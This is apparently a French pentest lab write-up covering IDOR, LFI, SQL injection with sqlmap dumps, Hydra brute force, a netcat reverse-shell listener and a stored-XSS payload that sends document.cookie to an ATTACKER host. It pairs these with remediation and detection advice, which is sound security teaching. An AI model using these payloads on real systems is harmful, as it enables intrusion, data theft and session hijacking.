Skip to main content

Web Application Pentest Lab - IDOR, LFI, SQLi and Stored XSS

·9 mins
Post Web Pentest Burp Suite IDOR LFI SQL Injection XSS Session Hijacking OWASP Defensive Security
Rai2en
Author
Rai2en
Securing infrastructure, validating attack paths, and documenting the evidence.
Table of Contents
CyberLabs - This article is part of a series.
Part : This Article

Introduction
#

Ce projet transforme un ensemble de labs web en un projet personnel complet autour du pentest applicatif.

L’objectif est de documenter plusieurs scénarios d’exploitation web réalistes, depuis la manipulation de requêtes HTTP jusqu’à la compromission d’un compte administrateur via XSS stockée.

Les exercices couvrent plusieurs familles de vulnérabilités OWASP:

  • mauvaise gestion des contrôles d’accès
  • injection SQL
  • inclusion de fichiers locaux
  • XSS stockée
  • session hijacking
  • exposition de secrets applicatifs

Environnement
#

Les applications vulnérables sont exposées via plusieurs virtual hosts locaux:

  • tp1.esdown.local
  • tp2.esdown.local
  • tp3.esdown.local
  • tp4.esdown.local

Les plateformes d’entraînement utilisées incluent notamment:

  • bWAPP
  • DVWA
  • OWASP Juice Shop
  • OWASP WebGoat
  • applications custom vulnérables

Outils utilisés:

OutilUsage
Burp Suiteinterception, modification et rejeu de requêtes
Gobusterdécouverte de répertoires et fichiers
Hydratest contrôlé de brute force
SQLMapexploitation automatisée SQLi
Netcatreverse shell
Meterpreterpost-exploitation en lab
Browser DevToolsanalyse client-side

Périmètre et règles d’engagement
#

Les commandes de cet article sont prévues pour des applications volontairement vulnérables, isolées et explicitement autorisées. Avant le test, le périmètre est matérialisé par quatre éléments :

ÉlémentDéfinition dans le labPreuve à conserver
Cibles autoriséesvirtual hosts tp1 à tp4.esdown.localrésolution DNS ou fichier hosts et adresses IP correspondantes
Fenêtre de testcréneau sans utilisateur réeldébut et fin horodatés dans le journal de test
Donnéescomptes et secrets facticesjeu de données de démonstration réinitialisable
Arrêt d’urgencesnapshot ou restauration des VMsprocédure testée avant les scénarios offensifs

Cette discipline évite qu’une preuve technique soit confondue avec une autorisation implicite. Elle rend aussi le lab répétable : un résultat doit pouvoir être reproduit après restauration, sans dépendre d’un état résiduel.

Cartographie OWASP Top 10:2025
#

Les vulnérabilités du lab se rattachent surtout aux causes racines suivantes :

ScénarioCatégorie OWASP indicativeCause racineContrôle attendu
IDORA01:2025 Broken Access Controldécision d’autorisation absente ou fondée sur un identifiant contrôlé par le clientcontrôle objet-action-utilisateur côté serveur
LFI et configuration dangereuseA02:2025 Security Misconfiguration / A05:2025 Injectionchemin de fichier interprété sans contrainte suffisanteidentifiants internes, table de correspondance et moindre privilège du processus
SQLiA05:2025 Injectiondonnées concaténées dans une requêterequêtes préparées et compte DB limité
XSS stockéeA05:2025 Injectiondonnée non fiable rendue dans un contexte exécutableencodage contextuel, sanitisation si HTML autorisé, CSP en défense secondaire
Session détournableA07:2025 Authentication Failuresjeton exposé ou non invalidécookies durcis, rotation et révocation serveur

TP1 - Manipulation avancée de requêtes HTTP
#

Le premier scénario vise à comprendre la mécanique HTTP en profondeur.

Objectifs:

  • intercepter une requête
  • modifier la méthode HTTP
  • manipuler les headers
  • ajouter un paramètre POST
  • contourner une logique applicative faible

Interception avec Burp Suite
#

Burp Suite est configuré comme proxy HTTP.

La requête est interceptée, puis analysée:

GET /challenge HTTP/1.1
Host: tp1.esdown.local
User-Agent: Mozilla/5.0

Modification de méthode
#

Une logique applicative peut parfois dépendre uniquement de la méthode utilisée.

Exemple:

POST /challenge HTTP/1.1
Host: tp1.esdown.local
Content-Type: application/x-www-form-urlencoded

Manipulation des headers
#

Headers testés:

User-Agent: admin
Referer: http://tp1.esdown.local/admin
Content-Type: application/x-www-form-urlencoded

Ce type d’exercice montre pourquoi les headers client ne doivent jamais être utilisés comme source de confiance.

TP2 - Chaîne d’exploitation web complète
#

Le second scénario combine plusieurs vulnérabilités dans une chaîne d’attaque.

Chaîne simplifiée:

  1. création d’un utilisateur
  2. découverte d’endpoints
  3. exploitation d’une IDOR
  4. exploitation d’une LFI
  5. tentative de RFI
  6. reverse shell
  7. post-exploitation
  8. exfiltration contrôlée du code source
  9. analyse de secrets
  10. exploration système
flowchart LR T["Testeur autorisé"] --> P["Proxy d'interception"] P --> A["Application web"] A --> O["Contrôle d'accès objet"] A --> F["Résolution de fichiers"] A --> D["Requêtes SQL"] A --> X["Rendu HTML et JavaScript"] O -.-> O1["preuve IDOR"] F -.-> F1["preuve LFI"] D -.-> D1["preuve SQLi"] X -.-> X1["preuve XSS stockée"] O1 --> C["Correction et nouveau test"] F1 --> C D1 --> C X1 --> C

Le schéma distingue le point d’entrée du composant qui doit prendre la décision de sécurité. Une même requête HTTP peut traverser correctement le proxy et le serveur web tout en échouant au niveau de l’autorisation, de la résolution de chemin, de la requête SQL ou du contexte de rendu.

Énumération
#

Découverte de répertoires:

gobuster dir -u http://tp2.esdown.local/ \
  -w /usr/share/wordlists/dirb/big.txt \
  -x php -b 400,401,403,404

Objectifs:

  • trouver les pages cachées
  • identifier les endpoints utilisateurs
  • repérer les fichiers PHP
  • comprendre les rôles et flux applicatifs

IDOR - Insecure Direct Object Reference
#

Une IDOR apparaît lorsqu’une ressource est accessible via un identifiant modifiable sans contrôle d’autorisation suffisant.

Exemple conceptuel:

GET /profile.php?id=2 HTTP/1.1
Host: tp2.esdown.local

Si un utilisateur peut changer id=2 en id=1 et accéder au profil d’un autre utilisateur, l’application présente une faille de contrôle d’accès.

Impact:

  • fuite de données utilisateurs
  • accès à des objets non autorisés
  • escalade fonctionnelle

LFI - Local File Inclusion
#

Une LFI apparaît lorsqu’une application transmet une entrée contrôlable à un mécanisme d’inclusion de fichiers. Elle peut conduire à la lecture d’un fichier, mais il faut la distinguer d’un simple path traversal : l’impact dépend de la fonction appelée, des droits du processus et du fait que le contenu soit interprété ou seulement renvoyé.

Exemple conceptuel:

GET /view.php?page=../../../../etc/passwd HTTP/1.1
Host: tp2.esdown.local

Fichiers intéressants en lab:

/etc/passwd
/var/www/html/config.php
/var/log/apache2/access.log

Risques:

  • fuite de code source
  • exposition de credentials
  • pivot vers exécution de code uniquement si un fichier contrôlable peut être inclus dans un contexte interprété

Reverse shell et post-exploitation
#

Après identification d’un chemin exploitable, un reverse shell peut être déclenché en environnement contrôlé.

Listener:

nc -lvnp 4444

Stabilisation:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Post-exploitation:

id
hostname
pwd
ls -la
find /var/www -type f -name "*.php"

Analyse du code source
#

L’accès au code source permet de comprendre la logique applicative et de retrouver des secrets.

Points à rechercher:

  • identifiants hardcodés
  • clés API
  • secrets JWT
  • credentials base de données
  • fonctions dangereuses (eval, system, exec)
  • absence de validation serveur

TP3 - SQL Injection
#

Le troisième scénario se concentre sur une injection SQL.

Objectifs:

  • détecter une injection
  • contourner une authentification
  • énumérer la base
  • extraire des données sensibles
  • comprendre l’impact métier

Test manuel
#

Payload classique:

' OR '1'='1

Exemple dans un champ login:

admin' OR '1'='1-- -

Exploitation avec SQLMap
#

sqlmap -u "http://tp3.esdown.local/login.php" \
  --data="username=test&password=test" \
  --batch --dbs

Énumération:

sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" --tables
sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" -T users --dump

Impact:

  • contournement d’authentification
  • extraction d’utilisateurs
  • extraction de partenaires ou données métier
  • risque de compromission complète si le compte DB est trop privilégié

TP4 - XSS stockée et compromission admin
#

Le quatrième scénario documente une XSS stockée menant au vol de cookie administrateur.

Force brute contrôlée
#

Une tentative Hydra est réalisée contre le formulaire de login, mais ne donne pas de résultat valide.

hydra -l admin -P admin-pass.txt tp4.esdown.local http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"

Cela confirme que la compromission ne vient pas d’un mot de passe faible dans ce scénario.

Découverte de la XSS stockée
#

Une zone de commentaire ou de profil accepte du HTML/JavaScript sans encodage correct.

Payload de test:

<script>alert(1)</script>

Si le script se rejoue lors de la consultation par un autre utilisateur, la faille est stockée.

Démonstration d’impact sur la session
#

Le scénario de vol de cookie ne fonctionne que si le jeton est accessible à JavaScript, donc sans attribut HttpOnly, et si les politiques du navigateur autorisent la connexion sortante. Une CSP restrictive peut bloquer la requête, mais elle reste une défense complémentaire : elle ne corrige pas la XSS.

Payload conceptuel strictement limité au lab :

<script>
fetch('http://ATTACKER:8000/?c=' + document.cookie)
</script>

Listener:

python3 -m http.server 8000

Impact:

  • vol de session
  • usurpation du compte administrateur
  • modification de mot de passe
  • accès à des fonctions privilégiées

Session hijacking
#

Une fois le cookie récupéré dans le lab, il est réinjecté dans le navigateur.

Étapes:

  1. récupérer la valeur du cookie
  2. ouvrir DevTools
  3. remplacer le cookie de session
  4. recharger la page admin

Résultat attendu:

  • accès administrateur sans connaître le mot de passe

La validation défensive ne s’arrête pas à HttpOnly. Ce drapeau empêche document.cookie de lire le jeton, mais une XSS peut encore agir au nom de la victime. Il faut également supprimer la cause de l’injection, appliquer Secure et une politique SameSite adaptée, faire tourner l’identifiant après authentification ou changement de privilège, et révoquer la session côté serveur.

Vulnérabilités identifiées
#

VulnérabilitéImpactCorrection
IDORaccès à des ressources non autoriséesvérifier les droits côté serveur
LFIlecture de fichiers locauxwhitelist stricte des fichiers autorisés
SQLiextraction DB / bypass authrequêtes préparées
XSS stockéevol de session adminoutput encoding + CSP
session faiblehijackingcookies HttpOnly, Secure, SameSite

Chaîne de preuve et critères de réussite
#

ÉtapePreuve minimaleCritère de réussiteSignal défensif associé
Énumérationendpoints, méthodes et codes HTTP horodatésinventaire reproductible sans cible hors périmètrepic de 404, diversité d’URI, empreinte du scanner
IDORdeux identités et la même référence objetaccès refusé pour l’identité non propriétaireaccès croisé à un objet sensible
LFIfichier factice dédié au lablecture impossible après correctionséquences de traversal et erreurs de résolution
SQLidifférence de réponse ou de temps contrôléerequête préparée et compte DB limitéerreurs SQL, opérateurs anormaux, volume de requêtes
XSS stockéevaleur stockée puis rappelée dans un navigateur de testdonnée rendue comme texte ou HTML sanitizécontenu actif dans un champ et rappel par un rôle privilégié
Sessionrotation et révocation du jetonancien jeton inutilisable après changement d’étatmême jeton observé depuis des contextes incompatibles

Recommandations défensives
#

Côté développement
#

  • utiliser des requêtes préparées
  • encoder toutes les sorties HTML
  • valider les entrées côté serveur
  • centraliser les contrôles d’autorisation
  • ne jamais faire confiance aux headers client

Côté infrastructure
#

  • isoler les applications vulnérables
  • protéger les interfaces admin
  • durcir les cookies
  • journaliser les actions sensibles
  • détecter les patterns d’exploitation

Côté SOC
#

À surveiller:

  • payloads SQLi dans les logs
  • <script> dans les champs utilisateurs
  • accès anormaux à /etc/passwd
  • création soudaine de sessions admin
  • requêtes vers IP externe depuis une page admin

Ce que ce projet m’a apporté
#

Ce projet m’a permis de travailler une chaîne web complète:

  • interception HTTP
  • exploitation manuelle
  • automatisation contrôlée
  • post-exploitation web
  • analyse de code source
  • raisonnement défensif OWASP

Conclusion
#

Ce lab montre qu’une application web vulnérable ne tombe pas toujours à cause d’une seule faille critique. C’est souvent l’enchaînement de faiblesses qui permet d’obtenir un impact majeur.

La correction doit donc combiner secure coding, contrôle d’accès, gestion de session, monitoring et tests réguliers.

Références techniques
#

CyberLabs - This article is part of a series.
Part : This Article